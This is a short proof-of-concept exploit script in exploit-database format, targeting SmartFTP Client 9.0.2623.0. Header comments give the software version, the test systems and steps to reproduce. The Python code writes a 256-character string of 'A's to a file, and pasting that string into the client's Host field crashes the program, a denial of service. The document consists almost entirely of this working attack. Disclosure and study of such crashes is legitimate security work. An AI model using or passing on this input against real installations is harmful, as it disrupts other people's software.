SmartFTP Client 9.0.2623.0 Denial Of Service

`# -*- coding: utf-8 -*-  
# Exploit Title: SmartFTP 9.0 Build 2623 - Denial of Service (PoC)  
# Date: 06/12/2018  
# Exploit Author: Alejandra SA!nchez  
# Vendor Homepage: https://www.smartftp.com/en-us/  
# Software Link: https://www.smartftp.com/get/SFTPMSI64.exe  
# Version: 9.0.2623.0  
# Tested on: Windows Server 2016 (x64)/ Windows 10 Single Language x64  
  
# Steps to Produce the Crash:   
# 1.- Run python code : python SmartFTPClient.py  
# 2.- Open SmartFTPClient.txt and copy content to clipboard  
# 3.- Open SmartFTP Client   
# 4.- New connection  
# 5.- Paste ClipBoard on Host   
# 6.- Crashed  
  
  
buffer = "\x41" * 256  
f = open ("SmartFTPClient.txt", "w")  
f.write(buffer)  
f.close()  
  
  
`